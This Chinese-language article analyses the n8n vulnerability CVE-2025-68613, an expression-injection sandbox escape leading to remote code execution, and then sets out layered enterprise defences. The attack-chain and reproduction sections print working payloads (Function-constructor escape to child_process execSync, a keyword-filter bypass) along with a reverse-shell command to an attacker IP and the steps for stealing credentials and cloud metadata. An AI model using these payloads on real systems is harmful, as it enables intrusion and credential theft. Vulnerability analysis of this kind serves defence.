作为一款广泛应用于企业级工作流自动化的开源工具n8n凭借无代码低代码的灵活特性成为连接各类业务系统、AI服务的核心枢纽但其基于Node.js开发的表达式执行机制却因沙箱隔离设计缺陷催生了CVE-2025-68613这一高危远程代码执行漏洞。该漏洞CVSS评分高达9.9突破传统9.8高危阈值影响全球超10万个n8n部署实例攻击者仅需普通认证权限即可通过表达式注入绕过沙箱限制实现从应用层到系统层的全链路突破直接接管服务器并窃取海量敏感凭据。本文将从漏洞背景、技术原理、完整攻击链、实战利用、企业级防御方案及前瞻安全思考六大维度全面拆解该漏洞的技术本质同时结合Node.js沙箱安全的最新发展趋势为企业提供可落地的安全加固体系。一、漏洞核心背景从n8n表达式机制到漏洞根源1.1 n8n表达式的设计初衷与风险基础n8n的核心竞争力在于支持自定义JavaScript表达式用户可通过{{ 表达式 }}的语法在工作流节点中实现数据动态拼接、逻辑判断、跨节点数据调用等功能例如{{ $node[HTTP Request].json[name] $now }}极大降低了无代码开发的门槛。这类表达式由n8n内置解析引擎执行设计初衷是简化业务逻辑编写但该引擎直接基于Node.js的vm模块构建沙箱而Node.js官方文档明确警告vm模块并非为运行不受信任代码设计不提供真正的安全隔离这为漏洞埋下了底层技术隐患。1.2 漏洞核心信息与影响范围漏洞类型表达式注入 → 沙箱逃逸 → 远程代码执行RCE影响版本n8n ≥0.211.0 且 1.120.4、1.121.1、1.122.0官方分多版本修复最终统一修复版本为1.122.0漏洞根源双重设计缺陷叠加——一是n8n对用户输入的表达式未做严格的语法过滤和上下文隔离允许攻击者直接访问沙箱内的this全局对象二是依赖的vm2沙箱库存在固有逃逸漏洞后续衍生出CVE-2026-22709等新漏洞且n8n未对沙箱上下文做彻底的原型链清理导致攻击者可通过原型链追溯获取宿主环境的核心对象。危害等级超高危CVSS 9.9认证低权限用户可直接执行任意系统命令实现服务器完全控制、敏感凭据窃取、云环境横向移动等攻击行为。1.3 漏洞的行业影响自动化平台成为新的攻击入口随着企业数字化转型的深入n8n这类工作流自动化平台已成为企业IT架构的“神经中枢”不仅连接了CRM、数据库、云服务等核心业务系统还广泛应用于AIagent编排、LLM工作流调度等场景存储了大量API密钥、数据库密码、OAuth令牌、云服务凭据等敏感信息。CVE-2025-68613的出现使得攻击者可通过攻陷n8n实现“一击破全局”的攻击效果进而横向渗透至企业整个IT体系这也是该漏洞评分突破9.8的核心原因。二、底层技术原理Node.js沙箱隔离的先天缺陷与n8n的实现漏洞要理解CVE-2025-68613的攻击链首先需明确Node.js沙箱隔离的技术本质以及n8n在沙箱实现中的关键失误这是整个攻击链能够成立的核心基础。2.1 Node.jsvm模块的隔离局限性Node.js的vm模块仅能实现语法层面的隔离无法实现运行时的完全隔离沙箱内的代码与宿主进程共享同一个V8引擎实例沙箱中的对象原型链仍可追溯至宿主环境的全局原型链且this上下文若未做严格清理会直接指向沙箱的全局对象而该对象与宿主环境的process等核心对象存在隐性关联。简单来说vm模块的隔离更像是“隔帘不隔墙”攻击者只需找到原型链的突破口即可轻松穿透沙箱。2.2 n8n沙箱实现的三大关键失误n8n在基于vm模块构建表达式执行沙箱时存在三处致命设计缺陷直接将沙箱的“缝隙”变成了“大门”未清理沙箱上下文的this对象修复前的n8n直接将未做任何处理的this对象暴露在表达式执行环境中该对象保留了完整的原型链可直接访问constructor构造函数未禁用原型链追溯功能允许表达式中的对象通过__proto__或constructor不断向上追溯直至获取宿主环境的Function构造函数未限制沙箱内的模块加载能力未对process.mainModule.require进行屏蔽而该方法可绕过沙箱的模块隔离直接加载Node.js核心模块如child_process。2.3vm2沙箱库的次生漏洞风险为弥补vm模块的不足n8n后续引入了vm2库作为沙箱增强方案但vm2自身存在一系列未被彻底修复的沙箱逃逸漏洞如CVE-2023-30547、CVE-2026-22709。其中CVE-2026-22709作为2026年最新漏洞可通过绕过Promise回调消毒机制让沙箱内的回调函数在宿主环境中执行进一步放大了CVE-2025-68613的攻击范围即使n8n对基础沙箱做了简单加固攻击者仍可通过vm2的新漏洞实现逃逸。三、完整攻击链拆解从表达式注入到RCE的五步突破法CVE-2025-68613的攻击链并非单一步骤的突破而是攻击者利用n8n的设计缺陷从表达式注入开始逐步绕过基础限制、突破沙箱隔离、获取系统执行权限、实现持久化控制的全链路攻击每一步都精准针对n8n的安全薄弱点且攻击复杂度极低公开PoC可直接复现。步骤1寻找表达式注入触发点实现恶意代码输入n8n中所有支持表达式编辑的用户可控输入点都是该漏洞的触发入口且无需特殊权限普通编辑权限即可操作主要包括工作流节点的“Value”字段如Set Variables、Edit Fields节点数据转换环节的自定义表达式编辑框Webhook参数的动态赋值表达式AI工作流中的提示词拼接表达式。攻击者只需在上述任意一个输入点插入符合n8n语法的恶意表达式即可完成注入例如基础的恶意表达式框架{{ 恶意执行代码 }}n8n的解析引擎会直接识别并执行该表达式。步骤2绕过基础关键字过滤实现危险函数调用部分n8n实例会做简单的关键字过滤直接屏蔽eval、require、child_process等危险关键字攻击者可通过字符串拼接、立即执行函数IIFE、符号混淆三种方式轻松绕过核心思路是将危险关键字拆分为多个字符串片段在执行时再拼接为完整关键字避开WAF和基础过滤规则。// 绕过过滤的基础示例字符串拼接IIFE{{((){constpprocess;// 拆分process关键字constcchild_process;// 拆分child_process关键字returnthis.constructor.constructor(return p)().mainModule.require(c).execSync(id).toString();})()}}步骤3利用原型链追溯突破沙箱隔离获取宿主process对象这是整个攻击链的核心环节攻击者通过沙箱内暴露的this对象沿原型链向上追溯最终获取宿主环境的process核心对象实现沙箱逃逸具体执行逻辑如下this沙箱内的全局上下文对象未做任何清理this.constructor指向Object构造函数属于沙箱内的基础对象this.constructor.constructor指向Function构造函数该构造函数属于宿主环境而非沙箱环境this.constructor.constructor(return process)()通过宿主环境的Function构造函数创建并执行一个函数直接返回宿主环境的process对象至此攻击者已完全突破沙箱隔离获得了对Node.js主进程的核心控制权限。该步骤的本质是利用了JavaScript原型链的特性以及n8n未做上下文清理的设计缺陷将沙箱内的低权限对象转化为宿主环境的高权限对象。步骤4加载核心模块执行系统命令实现RCE获取process对象后攻击者通过process.mainModule.require方法加载Node.js的child_process核心模块该模块专门用于创建子进程并执行系统命令支持exec、execSync、spawn等多种执行方式其中execSync为同步执行可直接返回命令执行结果是攻击者最常用的方式。// 完整的RCE利用代码从沙箱逃逸到命令执行{{(function(){// 原型链追溯获取process对象constprocessthis.constructor.constructor(return process)();// 加载child_process模块constcpprocess.mainModule.require(child_process);// 执行系统命令并返回结果returncp.execSync(whoami).toString();})()}}执行该表达式后n8n服务器会以n8n进程的权限执行whoami命令并将结果返回至n8n的工作流输出界面攻击者可直接查看至此实现完整的远程代码执行。步骤5后续攻击行为实现持久化控制与横向渗透实现RCE后攻击者并不会仅满足于执行单一命令而是会利用服务器权限开展一系列后续攻击行为结合n8n作为企业自动化枢纽的特性实现更深度的渗透凭据窃取读取n8n的数据库文件/home/node/.n8n/database.sqlite获取存储的API密钥、数据库密码、OAuth令牌等敏感信息这些信息可直接用于攻击企业其他业务系统反弹Shell通过bash -i /dev/tcp/攻击者IP/端口 01命令建立反向连接获得服务器的交互式Shell实现持久化控制云环境横向移动访问云服务器的元数据服务如AWS的http://169.254.169.254窃取IAM角色凭据进而控制云服务器、云存储、云数据库等资源植入后门在服务器的关键目录写入恶意Node.js脚本通过n8n的工作流定时执行实现长期驻留权限提升利用服务器的提权漏洞从n8n的非root权限提升为root权限实现服务器的完全控制。四、漏洞实战复现从环境搭建到漏洞验证可控测试环境为更直观地理解该漏洞的利用过程以下在完全可控的测试环境中进行漏洞复现严禁在未经授权的生产环境或他人系统上进行测试该行为涉嫌违法。4.1 复现环境准备部署漏洞版本n8n使用Docker部署n8n 1.48.0版本受漏洞影响命令如下dockerrun -it --rm -p5678:5678 n8nio/n8n:1.48.0访问n8n后台在浏览器中输入http://服务器IP:5678完成初始注册并登录获得工作流编辑权限创建基础工作流点击start from scratch创建新工作流添加Manual Trigger手动触发节点作为工作流的入口。4.2 注入恶意表达式并触发执行添加表达式执行节点点击add first step搜索并添加Edit Fields(Set)节点该节点支持自定义表达式赋值注入恶意代码在Edit Fields(Set)节点中设置字段名称为test字段值中输入以下恶意表达式{{(function(){returnthis.process.mainModule.require(child_process).execSync(id).toString()})()}}触发执行点击节点右上角的Execute step执行该节点n8n会直接解析并执行恶意表达式。4.3 验证漏洞利用结果执行完成后在Edit Fields(Set)节点的Output输出界面可直接看到id命令的执行结果显示当前n8n进程的用户信息默认为node用户说明漏洞利用成功。若将id替换为ls、cat /etc/passwd等命令可执行更多系统操作若替换为反弹Shell命令可获得服务器的交互式控制权限。五、企业级防御方案从紧急修复到体系化加固针对CVE-2025-68613漏洞企业的防御不能仅停留在“临时修复”层面需结合漏洞的技术本质以及n8n的部署特性构建“紧急修复-基础加固-深度防护-持续监控”的四层防御体系同时兼顾Node.js沙箱安全的最新发展趋势从根本上降低类似漏洞的攻击风险。5.1 第一层紧急修复立即阻断漏洞攻击最高优先级紧急修复的核心目标是快速封堵漏洞防止攻击者利用公开PoC进行批量攻击主要包括两个核心操作立即升级n8n至修复版本企业需根据自身部署的n8n版本升级至对应的官方修复版本——1.120.4升级至1.120.4、1.121.1升级至1.121.1、其他版本统一升级至1.122.0最终稳定修复版本Docker部署升级命令如下dockerpull n8nio/n8n:1.122.0dockerrestart n8n-container官方修复的核心措施包括清理this上下文并将constructor设为undefined、使用Object.create(null)创建无原型链的沙箱对象、屏蔽process/require等危险全局对象、为表达式执行添加超时和内存限制。临时封禁表达式编辑权限可选若企业因业务原因无法立即升级可临时封禁非核心人员的n8n工作流编辑权限仅允许管理员操作减少漏洞触发的入口该措施为临时缓解方案不能替代版本升级。5.2 第二层基础加固优化n8n部署与配置在完成紧急修复后企业需对n8n的部署环境和配置进行基础加固降低漏洞被利用的可能性同时减少漏洞被利用后的危害程度核心措施包括以非root用户运行n8nn8n官方推荐使用node用户运行避免RCE后攻击者直接获得root权限Docker部署中可通过USER node指定运行用户实现网络隔离将n8n部署在企业私有网络中仅允许可信IP和业务系统访问禁止将n8n的5678端口暴露在公网同时配置防火墙限制n8n进程的出站网络连接清理敏感环境变量删除n8n部署环境中不必要的敏感环境变量如数据库密码、云服务密钥避免攻击者通过process.env获取禁用危险表达式功能对于无自定义表达式需求的业务场景通过n8n的配置文件禁用表达式执行功能从源头杜绝表达式注入锁定依赖版本对n8n的Docker镜像和npm依赖进行版本锁定防止供应链攻击引入新的漏洞同时定期更新依赖包。5.3 第三层深度防护重构Node.js沙箱安全体系CVE-2025-68613的本质是Node.js沙箱隔离的先天缺陷因此企业需从底层重构n8n的沙箱安全体系替代传统的vm/vm2沙箱实现更严格的隔离核心方案包括替换为isolated-vm沙箱库isolated-vm基于V8引擎的Isolate特性实现进程级的完全隔离沙箱内的代码运行在独立的V8实例中与宿主进程无任何共享资源是目前Node.js生态中最安全的沙箱方案可彻底杜绝原型链追溯和沙箱逃逸实现表达式白名单机制仅允许n8n执行预设的安全表达式语法和函数屏蔽所有自定义函数和原型链访问例如仅允许$node、$now等官方内置变量禁止访问this、constructor等对象添加表达式沙箱过滤引擎在表达式执行前通过语法分析引擎对表达式进行静态检测过滤所有危险语法如原型链访问、函数构造器、模块加载即使攻击者注入恶意代码也会在执行前被拦截容器化深度隔离将n8n部署在独立的Docker容器中配置readOnlyRootFilesystem: true只读根文件系统、allowPrivilegeEscalation: false禁止权限提升并限制容器的CPU、内存、文件系统访问权限即使容器被攻陷也无法突破容器隔离。5.4 第四层持续监控实现攻击行为的实时检测与响应企业需建立针对n8n的全维度监控体系实现对漏洞攻击行为的实时检测、告警与响应及时发现并阻断潜在的攻击核心监控措施包括日志监控开启n8n的详细操作日志和执行日志监控包含constructor.constructor、mainModule.require、child_process、execSync等特征的可疑表达式同时监控n8n进程的异常子进程创建行为监控通过Linux的auditctl工具监控n8n进程对敏感文件如database.sqlite、/etc/passwd的访问以及对云元数据服务的访问行为网络监控监控n8n服务器的异常出站网络连接尤其是对陌生IP的反向连接及时发现反弹Shell行为数据库审计定期查询n8n的工作流数据库检测包含恶意表达式的工作流及时清理并溯源告警与响应建立自动化告警机制当检测到可疑行为时立即向管理员发送告警信息并执行自动响应操作如暂停工作流、封禁用户、断开网络连接。六、前瞻安全思考Node.js低代码平台的沙箱安全发展趋势CVE-2025-68613并非个例而是Node.js低代码/无代码平台沙箱安全问题的集中体现随着这类平台在企业中的广泛应用沙箱安全已成为Node.js生态的核心安全挑战结合当前技术发展趋势未来Node.js低代码平台的沙箱安全将呈现三大发展方向6.1 沙箱隔离从“语法隔离”向“进程级/硬件级隔离”演进传统的vm/vm2沙箱仅能实现语法层面的隔离已无法满足企业级安全需求未来Node.js低代码平台的沙箱隔离将逐步向进程级隔离如isolated-vm和硬件级隔离如Intel SGX、AMD SEV演进通过独立的执行环境彻底杜绝沙箱逃逸的可能性即使攻击者突破应用层隔离也无法访问宿主环境的资源。6.2 安全左移将沙箱安全融入开发与部署全生命周期未来企业将把沙箱安全从“事后修复”转向“事前预防”实现安全左移在n8n的开发阶段通过代码审计工具检测沙箱设计缺陷在部署阶段通过DevSecOps流程自动检测并阻断漏洞版本的部署在运行阶段通过动态安全检测实时监控沙箱的执行行为实现从开发到运行的全生命周期安全防护。6.3 表达式安全从“黑名单过滤”向“白名单静态分析动态检测”融合演进单纯的黑名单关键字过滤已无法应对攻击者的混淆绕过手段未来表达式安全将实现“白名单静态语法分析动态行为检测”的融合防护通过白名单限定允许执行的语法和函数通过静态语法分析检测恶意代码通过动态行为检测监控表达式的执行行为形成三层防护体系从源头杜绝表达式注入攻击。6.4 低代码平台的安全标准化与合规化随着低代码平台成为企业核心IT设施相关的安全标准和合规要求将逐步完善未来企业部署的低代码平台需满足PCI DSS、SOC 2、HIPAA、GDPR等合规标准沙箱隔离作为核心安全要求将被纳入合规考核体系推动低代码平台厂商加强安全设计从根本上提升产品的安全等级。七、总结CVE-2025-68613作为n8n的超高危RCE漏洞其核心本质是信任边界的突破——n8n错误地信任了用户输入的表达式未做足够的沙箱隔离和上下文清理同时叠加了Node.jsvm模块的先天隔离缺陷最终导致从表达式注入到系统层RCE的全链路攻击。该漏洞不仅暴露了n8n在安全设计上的不足也反映了Node.js低代码平台沙箱安全的普遍问题为企业和开发者敲响了警钟。对于企业而言针对该漏洞的防御需遵循“紧急修复为核心、基础加固为保障、深度防护为根本、持续监控为补充”的原则不仅要及时升级n8n版本更要从部署配置、沙箱重构、监控体系等方面构建体系化的安全防御体系。同时企业需以该漏洞为契机重新审视低代码平台的安全风险将沙箱安全纳入企业整体安全战略避免因单一平台的漏洞导致整个IT体系的沦陷。对于开发者而言在基于Node.js开发低代码平台时需摒弃“vm模块可实现安全隔离”的错误认知采用更安全的沙箱方案如isolated-vm同时严格清理执行上下文、限制原型链访问、实现表达式白名单机制从底层设计上提升沙箱的安全等级。低代码/无代码平台的核心价值是提升开发效率但效率不能以牺牲安全为代价。只有将安全融入产品设计、开发、部署、运行的全生命周期才能让低代码平台真正成为企业数字化转型的安全枢纽。